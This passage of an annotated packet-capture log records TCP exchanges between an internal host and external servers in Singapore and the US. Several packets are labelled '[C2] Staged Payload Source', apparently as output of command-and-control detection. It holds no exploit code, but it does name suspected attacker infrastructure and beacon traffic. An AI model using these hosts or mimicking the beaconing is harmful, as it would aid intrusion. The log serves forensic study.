\"\"1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-01 09:05:13.657634,36,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2283203443 Ack=4151458546,bc24112907bbbc2411360d0c08004500002828f9400080064c400a98980bc22420cffa2300508816eb73f7723af25010040185d90000,\".$.)...$.6\n...E..((.@...L@\n....$ ..#.P...s.r:.P.......\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19520, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203443, \"\"ack\"\": 4151458546, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 34265, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:14.510725,37,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa54000800640590a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44965, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16473, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:14.510751,38,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e22e400040064dc5c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4..@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57902, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19909, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:15.526382,39,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa64000800640580a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44966, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16472, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:15.526415,40,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e22f400040064dc4c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4./@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57903, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19908, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:16.542067,41,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa74000800640570a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44967, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16471, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:16.542106,42,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e230400040064dc3c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.0@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57904, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19907, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:17.403287,43,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682725 Ack=3104847480,bc24112907bbbc2411360d0c08004500003dafa84000800640420a98980bc0a3a789fa201f40542491a5b910367850182014307e00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 44968, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16450, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682725, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12414, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:05:17.403329,44,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682746,bc2411360d0cbc24112907bb080045000028e231400040064dcec0a3a7890a98980b1f40fa20b9103678542491ba5010003f0aeb0000,\".$.6\n..$.)....E..(.1@.@.M.....\n....@. ..6xT$..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57905, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19918, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682746, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:17.404291,45,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682746 Ack=3104847480,bc24112907bbbc2411360d0c08004500003dafa94000800640410a98980bc0a3a789fa201f40542491bab9103678501820143c6c00001100c0ff1100000001000000789c73010000450045,............x.s...E.E,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 44969, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16449, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682746, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 15468, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789c73010000450045\"\"}}]\"\n2026-07-01 09:05:17.404299,46,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000028e232400040064dcdc0a3a7890a98980b1f40fa20b9103678542491cf5010003f0aeb0000,\".$.6\n..$.)....E..(.2@.@.M.....\n....@. ..6xT$..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57906, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19917, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:18.418919,47,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afaa4000800640540a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44970, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16468, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:18.418962,48,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e233400040064dc0c0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.3@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57907, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19904, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:19.432730,49,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afab4000800640530a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44971, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16467, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:19.432754,50,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e234400040064dbfc0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.4@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57908, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19903, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682767, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682766, 1411682767))]\"\"}}]\"\n2026-07-01 09:05:20.448383,51,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682766 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afac4000800640520a98980bc0a3a789fa201f40542491ceb9103678501020149612000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44972, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16466, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682766, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38418, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:20.448416,52,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682767,bc2411360d0cbc24112907bb080045000034e235400040064dbec0a3a7890a98980b1f40fa20b9103678542491cf8010003f0af700000101050a542491ce542491cf,\".$.6\n..$.)....E..4.5@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, 